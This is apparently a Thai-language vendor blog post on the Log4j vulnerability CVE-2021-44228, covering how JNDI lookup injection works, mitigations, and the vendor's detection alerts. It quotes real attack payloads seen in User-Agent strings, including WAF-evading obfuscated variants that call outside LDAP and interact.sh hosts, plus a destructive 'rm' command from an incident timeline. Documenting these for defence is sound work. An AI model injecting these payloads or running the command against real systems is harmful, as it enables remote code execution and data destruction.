
1. บทนำ
ในช่วงหลายวันที่ผ่านมา ช่องโหว่ Log4j ที่ร้ายแรง (CVE-2021-44228, CVE-2021-45046) เกือบจะนำไปสู่พายุที่สมบูรณ์แบบในโลกอินเทอร์เน็ต เนื่องจากเป็นยูทิลิตี้การบันทึก Java ที่ใช้กันอย่างแพร่หลายและมีช่องโหว่ที่สามารถหาประโยชน์ได้ง่าย Log4j จึงไม่มีข้อสงสัยใด ๆ ที่ทำให้ผู้เชี่ยวชาญด้านไอทีและบริษัทต่างๆ กังวลใจ และมีคำถามมากมายที่ถูกหยิบยกขึ้นมา – ช่องโหว่นี้คืออะไร? ฉันจะรู้ได้อย่างไรว่าระบบของเรามีช่องโหว่? โครงสร้างพื้นฐานด้านไอทีของฉันถูกละเมิดไปแล้วหรือไม่? ฉันจะทำอย่างไรเพื่อป้องกันการโจมตีในอนาคตโดยใช้ช่องโหว่นี้
ที่ Stellar Cyber เราได้ติดตามสถานการณ์อย่างใกล้ชิด และเราพร้อมที่จะให้ข้อมูลและคำแนะนำแก่ลูกค้าและคู่ค้าในปัจจุบันและที่คาดหวังของเรา ขณะที่พวกเขาสำรวจความไม่แน่นอนที่เกิดจากช่องโหว่ของ Log4j นี้
2. ผลกระทบและการบรรเทาสาธารณภัย
ตามที่ CVE-2021-44228Apache Log4j2 ก่อน v2.15.0 ใด ๆ ได้รับผลกระทบจากช่องโหว่อันเนื่องมาจากการแก้ไขสตริงที่ไม่ได้ตรวจสอบด้วย Java Naming และ Directory Interface (JNDI) ค้นหา ผู้โจมตีที่มีความรู้ในการใส่ข้อมูลลงในข้อความบันทึก สามารถสร้างและฉีดนิพจน์การแก้ไข JNDI ที่มีรูปแบบพิเศษเพื่อโหลดและดำเนินการโค้ดโดยอำเภอใจจากปลายทาง JNDI ที่ระบุ (เช่น เซิร์ฟเวอร์ LDAP) เมื่อ Log4j ประเมินนิพจน์การแก้ไข
ผลกระทบของช่องโหว่นี้คาดว่าจะมีในวงกว้างเนื่องจากการใช้ Log4j ในวงกว้างในแอพพลิเคชั่นซอฟต์แวร์ยอดนิยมมากมายและความสามารถในการหาช่องโหว่ที่ง่ายดาย ชุมชนความปลอดภัยได้ติดตามเว็บไซต์ ซอฟต์แวร์ ส่วนประกอบโอเพนซอร์ซ และผู้ผลิตรายอื่นๆ โดยใช้ Log4j และยืนยันว่าแม้ บริษัทแบรนด์ใหญ่บางแห่งมีความเสี่ยง.
เพื่อบรรเทาช่องโหว่นี้ เราแนะนำให้ลูกค้าและคู่ค้าของเราอัปเดต Log4j ที่มีอยู่เป็น v2.15.0 ซึ่งลักษณะการทำงานที่เกี่ยวข้องกับ JNDI ถูกปิดใช้งานโดยค่าเริ่มต้น หากการอัปเกรดทันทีไม่ใช่ตัวเลือก การบรรเทาอื่นคือการตั้งค่าคุณสมบัติของระบบ log4j2.formatMsgNoLookups ไปยัง จริง (ใช้ได้กับ v2.10+) หรือเพื่อลบ JndiLookup คลาสจาก classpath (ใช้ได้กับ Log4j ก่อน v2.10 ผ่าน zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class).
นอกจากนี้ เราแนะนำให้ลูกค้าและคู่ค้าของเราอัปเดต Java ที่มีอยู่เป็นอย่างน้อยเวอร์ชัน 6u211, 7u201, 8u191 หรือ 11.0.1 ซึ่งการโหลดคลาสรีโมต JNDI ถูกปิดใช้งานโดยค่าเริ่มต้น
สำหรับแอปพลิเคชันซอฟต์แวร์เฉพาะที่ใช้ Log4j และได้รับผลกระทบจากช่องโหว่นี้ โปรดติดต่อผู้จำหน่ายซอฟต์แวร์เพื่อใช้โปรแกรมแก้ไขที่เหมาะสมโดยเร็วที่สุด
3 รายละเอียดทางเทคนิค
In CVE-2021-44228มีส่วนสำคัญและเกี่ยวข้องสองส่วนที่เป็นช่องโหว่: Java Naming และ Directory Interface (JNDI) พร้อมฟังก์ชันเรียกใช้เมธอดระยะไกล และการสนับสนุนของ Log4j สำหรับการแก้ไขบันทึกด้วยการค้นหา JNDI
Java Naming และ Directory Interface (JNDI, รูปที่ 1) เป็นคุณลักษณะโบราณ แต่ยังมีประโยชน์ย้อนหลังไปถึง Java 2 v1.3 มีฟังก์ชันการตั้งชื่อและไดเรกทอรีให้กับแอปพลิเคชัน Java ดังนั้นแอปพลิเคชันอาจเรียกใช้ผ่านผู้ให้บริการต่างๆ ของ JNDI เช่น โปรโตคอลการเข้าถึงไดเรกทอรีที่มีน้ำหนักเบา (LDAP). ตัวอย่างเช่น แอปพลิเคชัน Java อาจส่งผ่าน URL ldap://some-ldap-server:389/o=SomeObjectID ผ่าน JNDI ไปยังเซิร์ฟเวอร์ LDAP ที่รองรับ บาง-ldap-เซิร์ฟเวอร์ เพื่อค้นหาและเรียกใช้วัตถุระยะไกล วัตถุบางอย่าง.

(https://docs.oracle.com/javase/jndi/tutorial/getStarted/overview/index.html)
เกี่ยวกับ Log4j ด้าน การสนับสนุนการค้นหา JNDI เปิดตัวครั้งแรกใน v2.0 ย้อนกลับไปในปี 2013 ตามที่ผู้ใช้ร้องขอสำหรับคุณสมบัติการบันทึกที่ซับซ้อน ตั้งแต่นั้นมา Log4j ได้อนุญาตให้นักพัฒนาใช้การแก้ไขสตริงกับ JNDI ในข้อความบันทึก ตัวอย่างเช่น อาจเขียน logger.error("${jndi:ldap://some-ldap-server:389/o=SomeObjectID}")และ Log4j จะประเมินนิพจน์การแก้ไขและเรียกใช้ JNDI ตามนั้นเพื่อดึงข้อมูลที่ประกอบเป็นข้อความบันทึกจากเซิร์ฟเวอร์ระยะไกล
ในที่สุด แปดปีต่อมาในวันที่ 30 พฤศจิกายน พ.ศ. 2021 log4j ทีม ได้รับทราบแล้ว ของช่องโหว่การเรียกใช้โค้ดจากระยะไกลอันเป็นผลมาจากการรวมการแก้ไขบันทึกด้วยการค้นหา JNDI หนึ่งสัปดาห์ต่อมา เกือบทุกคนในชุมชนความปลอดภัยและอุตสาหกรรมไอทีได้รับแจ้งและเริ่มตื่นตระหนกไม่ทางใดก็ทางหนึ่ง
ผลที่ตามมาของช่องโหว่นี้จะเลวร้ายอย่างยิ่งไม่เพียงเพราะ Log4j ถูกใช้กันอย่างแพร่หลาย แต่ยังเป็นเพราะผู้คนใช้ Log4j ในลักษณะที่สมบูรณ์แบบเกินไปและง่ายเกินไปสำหรับผู้โจมตีที่จะโจมตี
ดังจะเห็นได้จากตัวอย่างข้างต้นของ logger.error("${jndi:ldap://some-ldap-server:389/o=SomeObjectID}")เพื่อใช้ประโยชน์จากช่องโหว่นี้ให้สำเร็จ ผู้โจมตีจำเป็นต้องรู้ว่าข้อมูลที่ฉีดเข้าไปชนิดใดในที่สุดจะถูกบันทึกไว้ที่ใดที่หนึ่งโดยระบบเหยื่อโดยใช้ Log4j ในความเป็นจริง ถือเป็นผลดีสำหรับผู้โจมตีที่มีความคุ้นเคยเพียงเล็กน้อยกับแอปพลิเคชันบนเครือข่ายสมัยใหม่ ซึ่งมีแนวทางปฏิบัติทั่วไปในการบันทึกทุกคำขอ รวมถึง URL สตริงการสืบค้น และตัวแทนผู้ใช้
ที่ Stellar Cyber เราได้เฝ้าติดตามการพยายามหาช่องโหว่ที่เกิดขึ้นกับลูกค้าและคู่ค้าของเราในสัปดาห์ที่ผ่านมา User Agent Anomaly Detection ที่ขับเคลื่อนด้วยการเรียนรู้ของเครื่องของเราได้ตรวจพบสตริงตัวแทนผู้ใช้ที่ผิดปกติ เช่น:
${jndi:ldap://xxx.xxx.xxx.xxx:2222/lx-ffff82fd0128500008eac5b861000000005a8343}${jndi:${lower:l}${lower:d}a${lower:p}://xxx.x:80/callback}${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.c6sg0p8vc25qalcfvemgcghoy4yyyyyjo.interact.sh}
ในบรรดาตัวอย่างเหล่านี้ เราพบว่าผู้โจมตีได้ตรวจสอบวิธีต่างๆ ในการใช้ประโยชน์จากช่องโหว่นี้ ไม่เพียงแต่โดยใช้รูปแบบวานิลลาเท่านั้น แต่ยังรวมถึงการคิดค้นรูปแบบต่างๆ เพื่อหลบเลี่ยง Web Application Firewalls ตามกฎที่พยายามจับคู่ ${jndi:ldap*.
แม้ว่าจะยังไม่เคยพบกรณีที่ผู้โจมตีใช้ประโยชน์จากจุดอ่อนและก่อให้เกิดผลร้ายแรงได้สำเร็จ แต่ก็ยังเป็นที่น่าสังเกตว่าแม้แต่การตรวจสอบอย่างง่าย ๆ เช่น การพยายามใช้ประโยชน์จากช่องโหว่ ด้วย DNSLog เพื่อตรวจสอบว่าระบบเป้าหมายมีช่องโหว่หรือไม่ ยังคงสร้างความเสียหายได้ เนื่องจากผู้โจมตีอาจกำลังรวบรวมทรัพย์สินในอนาคตอยู่ในขณะนี้
4. Stellar Cyber ช่วยได้อย่างไร
ที่ Stellar Cyber เรามอบเครื่องมือหลายอย่างให้กับลูกค้าและพันธมิตรของเราเพื่อป้องกันการโจมตีที่ใช้ประโยชน์จาก CVE-2021-44228
Stellar Cyber Security Sensor (SDS) ผ่านผู้ให้บริการข่าวกรองด้านภัยคุกคามของเรามีลายเซ็นที่เป็นปัจจุบันแล้วเพื่อตรวจหาการหาประโยชน์จาก CVE-2021-44228 โดยทั่วไป
4.1 Stellar Alerts เกี่ยวกับการตรวจจับการเอารัดเอาเปรียบ
ขณะนี้เราเสนอประเภทการแจ้งเตือนต่อไปนี้ที่ตรวจจับลายเซ็น IDS ใหม่หรือลายเซ็น IDS ที่พุ่งสูงขึ้น:
- – ความผิดปกติในการหาประโยชน์จากสาธารณะสู่ส่วนตัว
- – ความผิดปกติในการแสวงประโยชน์จากส่วนตัวสู่สาธารณะ
- – ความผิดปกติในการหาประโยชน์จากส่วนตัวถึงส่วนตัว
- – สาธารณะถึงความผิดปกติในการแสวงประโยชน์สาธารณะ
โปรดดูการแจ้งเตือนเหล่านี้ด้วย "log4j" ในคำอธิบายการแจ้งเตือนหรือ ids.signature สนาม
4.2 ATH เพื่อติดตามลายเซ็น Apache Log4j ที่ตรงกัน
หากคุณต้องการติดตามทุกอินสแตนซ์ของลายเซ็น Apache Log4j ที่ตรงกัน คุณอาจลองสร้างกฎต่อไปนี้ (ข้อควรระวัง: อาจสร้างการแจ้งเตือนจำนวนมาก):
- - ค้นหา เหตุการณ์แซนด์บ็อกซ์ ML-IDS/มัลแวร์ ดัชนีด้วยแบบสอบถาม
ids.signature: log4j.
4.3 การสอดแนม URL และการตรวจจับความผิดปกติของตัวแทนผู้ใช้
เมื่อผู้โจมตีสำรวจรูปแบบต่างๆ ของการแสวงหาผลประโยชน์ การตรวจจับความผิดปกติที่ขับเคลื่อนด้วย AI (รูปที่ 2) ยังช่วยตรวจจับความพยายามทางอ้อมหรือความพยายามที่ผิดปกติอีกด้วย
เราพบความพยายามโดยอ้อมจากการตรวจหาความผิดปกติในการตรวจค้น URL ด้วย Log4j ในส่วนของ URL เพื่อใช้ประโยชน์จากช่องโหว่ผ่านเว็บแอปพลิเคชัน Java ความพยายามดังกล่าวมักจะเกี่ยวข้องกับผู้โจมตีที่สแกนหาหน้าเว็บเพื่อใช้ประโยชน์ ซึ่งนำไปสู่ข้อผิดพลาด HTTP 4xx จำนวนมาก ซึ่งสามารถตรวจพบได้โดยการตรวจจับความผิดปกติ URL Reconnaissance
เนื่องจากสตริง User-Agent เป็นวิธีการหลักในการแสวงหาผลประโยชน์ตามข้อสังเกตของเรา User Agent Anomaly Detection จึงเป็นเครื่องมือที่มีประโยชน์ ตรวจพบสตริง User-Agent ที่ไม่เคยเห็นมาก่อนหรือแทบไม่เคยเห็นมาก่อน จึงสามารถป้องกันเพิ่มเติมจากแนวโน้มการแสวงหาประโยชน์ที่เพิ่มขึ้นได้
ค้นหา "log4j" โดยตรงในการแจ้งเตือนทั้งหมดอาจสมเหตุสมผล (ข้อควรระวัง: นี่เป็นข้อความค้นหาที่มีราคาแพงมาก โปรดอย่าลองใช้ข้อมูลดิบซึ่งอาจนำไปสู่การโอเวอร์โหลดของ Data Lake)

4.4 ความสัมพันธ์ของเหตุการณ์
ความพยายามที่จะใช้ประโยชน์จาก CVE-2021-44228 อาจเป็นเพียงการดำเนินการเดียวซึ่งส่งผลให้มีการแจ้งเตือนเพียงครั้งเดียวจากการตรวจจับของเรา เพื่อตรวจสอบเพิ่มเติมและติดตามการโจมตีต่อเนื่องที่อาจเกิดขึ้นซึ่งเกี่ยวข้องกับ Log4j ที่ใช้ประโยชน์ได้ง่าย เราได้จัดเตรียมคุณลักษณะเหตุการณ์เพิ่มเติม (รูปที่ 3) เพื่อสร้างความสัมพันธ์ระหว่างชุดการแจ้งเตือนและเอนทิตีที่เชื่อมโยงหลายรายการซึ่งประกอบเป็นการโจมตีแบบรวมศูนย์ที่อาจเกิดขึ้น (เช่น เหตุการณ์) เพื่อการมองเห็นและการจัดการด้านความปลอดภัยที่ดีขึ้น เราใช้ความสามารถในการเรียนรู้ด้วยเครื่องเพื่อสร้างเหตุการณ์โดยอัตโนมัติ โดยจัดกลุ่มการแจ้งเตือนที่เกี่ยวข้องเป็นเหตุการณ์ที่เป็นหนึ่งเดียวเพื่อแก้ปัญหาการโจมตีที่ดีขึ้น

ดังที่เราเห็นในรูปที่ 4 ซึ่งแสดงมุมมองไทม์ไลน์โดยละเอียดของเหตุการณ์ด้วย CVE-2021-44228 การใช้ประโยชน์ Incident Correlation ของเราจะรวบรวมการแจ้งเตือนที่เกี่ยวข้องกันสูงสามรายการโดยอัตโนมัติจากการตรวจจับที่แตกต่างกันสามแบบโดยเรียงลำดับตามเวลาที่เกิดขึ้น: ครั้งแรกคือความผิดปกติ User-Agent ที่ผู้โจมตีพยายามใส่สตริง User-Agent ที่เป็นอันตรายจาก 10.11.191.95 ถึง 10.11.190.88 ตามด้วยกระบวนการวางไข่ที่ผิดปกติที่ตรวจพบใน 10.11.190.88 และลงท้ายด้วยคำสั่งที่ผิดปกติดำเนินการคำสั่งที่เป็นอันตราย
xargs -r -0 rm -f.
5 สรุปผลการวิจัย
ในโพสต์นี้ เราได้แบ่งปันข้อมูลของ CVE-2021-44228 และได้ให้คำแนะนำแก่ลูกค้าและคู่ค้าทั้งในปัจจุบันและที่คาดหวังของเรา และเราได้แสดงให้เห็นด้วยว่า Stellar Cyber สามารถเข้ามาช่วยเหลือในช่วงเวลาที่ไม่แน่นอนนี้ได้อย่างไร เพื่อเป็นการเตือนความจำครั้งสุดท้าย โปรดแก้ไขและอัปเดตซอฟต์แวร์ที่ได้รับผลกระทบ ซึ่งรวมถึง Log4j (to v2.15.0+) and Java (to at least 6u211, 7u201, 8u191, or 11.0.1).


